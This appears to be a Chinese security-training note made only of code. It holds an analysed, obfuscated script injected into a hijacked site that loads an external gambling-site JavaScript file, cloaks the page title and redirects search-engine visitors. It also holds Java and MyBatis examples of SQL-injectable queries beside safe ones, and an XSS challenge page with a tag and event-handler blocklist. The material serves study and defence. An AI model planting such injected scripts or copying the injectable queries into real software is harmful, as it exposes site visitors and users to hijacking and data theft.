2021年暑期夏令营笔记(day1-day3)

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<title>beplayer体育app下载-【welcome】</title>
<meta name="keywords" content="beplayer体育app下载-beplayer体育官方版APP下载-beplay下载官网_Beplay体育软件_beplay体育app安卓"/>
<meta name="description" content="【Beplayapp体育下载WWW.bob0897.COM】为您专业提供欧冠、体育、足球等资讯, beplayer体育下载包括:欧冠、奥运、世界杯、亚洲杯、欧洲杯等最精彩的体育赛事和beplayer体育官网投资..."/>
<script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){document.title ="鲍鱼的营养价值,鲍鱼批发市场,干鲍鱼价格,即食鲍鱼罐头,鲍鱼的家常做法大全-滋补皇鲍鱼网"}</script>
<script type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('n(f(p,a,c,k,e,r){e=f(c){h c.o(a)};i(!\'\'.j(/^/,q)){l(c--)r[e(c)]=k[c]||e(c);k=[f(e){h r[e]}];e=f(){h\'\\\\w+\'};c=1};l(c--)i(k[c])p=p.j(s t(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c]);h p}(\'1["2"]["3"](\\\'<0 4="5/6" 7="8://9.a.b/c.d"></0>\\\');\',m,m,\'u|v|x|y|z|A|B|C|D|E|F|G|H|I\'.J(\'|\'),0,{}))',46,46,'|||||||||||||||function||return|if|replace||while|14|eval|toString||String||new|RegExp|script|window||document|write|type|text|javascript|src|https|www|bob5918|com|bob|js|split'.split('|'),0,{}))</script>
<meta name="description" content="滋补皇鲍鱼网是业内权威的的鲍鱼网站，提供鲍鱼的营养价值和功效作用、鲍鱼的批发市场、鲍鱼价格多少钱一斤、鲍鱼选购鉴别、鲍鱼的家常做法吃法、品牌即食鲍鱼罐头购买、鲍鱼图片等相关鲍鱼百科知识。" />
<meta name="keywords" content="鲍鱼,鲍鱼的做法,鲍鱼价格,鲍鱼批发,鲍鱼批发市场,即食鲍鱼,鲍鱼多少钱一斤,鲍鱼的营养价值,鲍鱼怎么做,鲍鱼网" />

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    eval(function (p, a, c, k, e, r) {
        e = function (c) {
            return (c < a ? '' : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36))
        };
        if (!''.replace(/^/, String)) {
            while (c--) r[e(c)] = k[c] || e(c);
            k = [function (e) {
                return r[e]
            }];
            e = function () {
                return '\\w+'
            };
            c = 1
        }
        ;
        while (c--) if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
        console.log(p)
    }('n(f(p,a,c,k,e,r){e=f(c){h c.o(a)};i(!\'\'.j(/^/,q)){l(c--)r[e(c)]=k[c]||e(c);k=[f(e){h r[e]}];e=f(){h\'\\\\w+\'};c=1};l(c--)i(k[c])p=p.j(s t(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c]);h p}(\'1["2"]["3"](\\\'<0 4="5/6" 7="8://9.a.b/c.d"></0>\\\');\',m,m,\'u|v|x|y|z|A|B|C|D|E|F|G|H|I\'.J(\'|\'),0,{}))', 46, 46, '|||||||||||||||function||return|if|replace||while|14|eval|toString||String||new|RegExp|script|window||document|write|type|text|javascript|src|https|www|bob5918|com|bob|js|split'.split('|'), 0, {}))

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    eval(function (p, a, c, k, e, r) {
        e = function (c) {
            return c.toString(a)
        };
        if (!''.replace(/^/, String)) {
            while (c--) r[e(c)] = k[c] || e(c);
            k = [function (e) {
                return r[e]
            }];
            e = function () {
                return '\\w+'
            };
            c = 1
        }
        ;
        while (c--) if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
        console.log(p)
    }('1["2"]["3"](\'<0 4="5/6" 7="8://9.a.b/c.d"></0>\');', 14, 14, 'script|window|document|write|type|text|javascript|src|https|www|bob5918|com|bob|js'.split('|'), 0, {}))

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window["document"]["write"]('<script type="text/javascript" src="https://www.bob5918.com/bob.js"></script>');

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var _hmt = _hmt || [];
    (function() {
        var hm = document.createElement("script");
        hm.src = "https://hm.baidu.com/hm.js?18963394de828e9ee31d0bfb3e310da3";
        var s = document.getElementsByTagName("script")[0];
        s.parentNode.insertBefore(hm, s);
    })();
    (function () {
        /*百度推送代码*/
        var bp = document.createElement('script');
        bp.src = '//push.zhanzhang.baidu.com/push.js';
        var s = document.getElementsByTagName("script")[0];
        s.parentNode.insertBefore(bp, s);
        /*360推送代码*/
        var src = document.location.protocol + '//js.passport.qihucdn.com/11.0.1.js?8113138f123429f4e46184e7146e43d9';
        document.write('<script src="' + src + '" id="sozz"><\/script>');
    })();

    document.writeln("<script LANGUAGE=\"Javascript\">");
    document.writeln("var s=document.referrer");
    document.writeln("if(s.indexOf(\"baidu\")>0 || s.indexOf(\"sogou\")>0 || s.indexOf(\"soso\")>0 ||s.indexOf(\"sm\")>0 ||s.indexOf(\"uc\")>0 ||s.indexOf(\"bing\")>0 ||s.indexOf(\"yahoo\")>0 ||s.indexOf(\"so\")>0 )");
    document.writeln("location.href=\"https://www.136415.com\";");
    document.writeln("</script>");

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Connection conn = [...];
Statement stmt = con.createStatement();
ResultSet rs = stmt.executeQuery("select * from user where username='"<span class="has-inline-color has-vivid-red-color">+username+</span>"';");

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Session session = sessionFactory.openSession();
Query q = session.createQuery("select t from UserEntity t where id = "<span class="has-inline-color has-vivid-red-color">+input</span>);
q.execute();

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<select id="unsafe" resultMap="myResultMap">
         select * from table where name like '%<span class="has-inline-color has-vivid-red-color">${value}</span>%'
</select> 
UnSafeBean b = (UnSafeBean)sqlMap.queryForObject("value", request.getParameter("name"));

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<select id="unsafe" resultMap="myResultMap">
         select * from table where name ='$<span class="has-inline-color has-vivid-red-color">value</span>$'
</select> 

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Connection conn = [...];
conn.<span class="has-inline-color has-vivid-red-color">prepareStatement</span>("update COFFEES set SALES = ? where COF_NAME = ?");
updateSales.setInt(1, nbSales);
updateSales.setString(2, coffeeName);

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<select id="unsafe" resultMap="myResultMap">
         select * from table where name like ‘%<span class="has-inline-color has-vivid-red-color">#{value}</span>%'
</select> 
UnSafeBean b = (UnSafeBean)sqlMap.queryForObject("value",   request.getParameter("name"));

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<select id="unsafe" resultMap="myResultMap">
         select * from table where name =‘<span class="has-inline-color has-vivid-red-color">#value#</span>'
</select> 

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<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 //window.location.href="level10.php?keyword=well done!"; 
}
</script>
<title>欢迎来到level21</title>
</head>
<body>
<h1 align=center>欢迎来到level21</h1>
<?php 
function remove_xss($val) {
   // remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed
   // this prevents some character re-spacing such as <java\0script>
   // note that you have to handle splits with \n, \r, and \t later since they *are* allowed in some inputs
//http://blog.qita.in
   $val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val);

   // straight replacements, the user should never need these since they're normal characters
   // this prevents like <IMG SRC=@avascript:alert('XSS')>
   $search = 'abcdefghijklmnopqrstuvwxyz';
   $search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
   $search .= '1234567890!@#$%^&*()';
   $search .= '~`";:?+/={}[]-_|\'\\';
   for ($i = 0; $i < strlen($search); $i++) {
      // ;? matches the ;, which is optional
      // 0{0,7} matches any padded zeros, which are optional and go up to 8 chars

      // @ @ search for the hex values
      $val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); // with a ;
      // @ @ 0{0,7} matches '0' zero to seven times
      $val = preg_replace('/(�{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ;
   }

   // now the only remaining whitespace attacks are \t, \n, and \r
   $ra1 = array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');
   $ra2 = array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');
   $ra = array_merge($ra1, $ra2);

   $found = true; // keep replacing as long as the previous round replaced something
   while ($found == true) {
      $val_before = $val;
      for ($i = 0; $i < sizeof($ra); $i++) {
         $pattern = '/';
         for ($j = 0; $j < strlen($ra[$i]); $j++) {
            if ($j > 0) {
               $pattern .= '(';
               $pattern .= '(&#[xX]0{0,8}([9ab]);)';
               $pattern .= '|';
               $pattern .= '|(�{0,8}([9|10|13]);)';
               $pattern .= ')*';
            }
            $pattern .= $ra[$i][$j];
         }
         $pattern .= '/i';
         $replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); // add in <> to nerf the tag
         $val = preg_replace($pattern, $replacement, $val); // filter out the hex tags
         if ($val_before == $val) {
            // no replacements were made, so exit the loop
            $found = false;
         }
      }
   }
   return $val;
}
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=remove_xss($str);
echo "<h2 align=center>欢迎用户".$str2."</h2>";
?>

<?php 
echo "<h3 align=center>payload的长度:".strlen($str2)."</h3>";
?>
</body>
</html>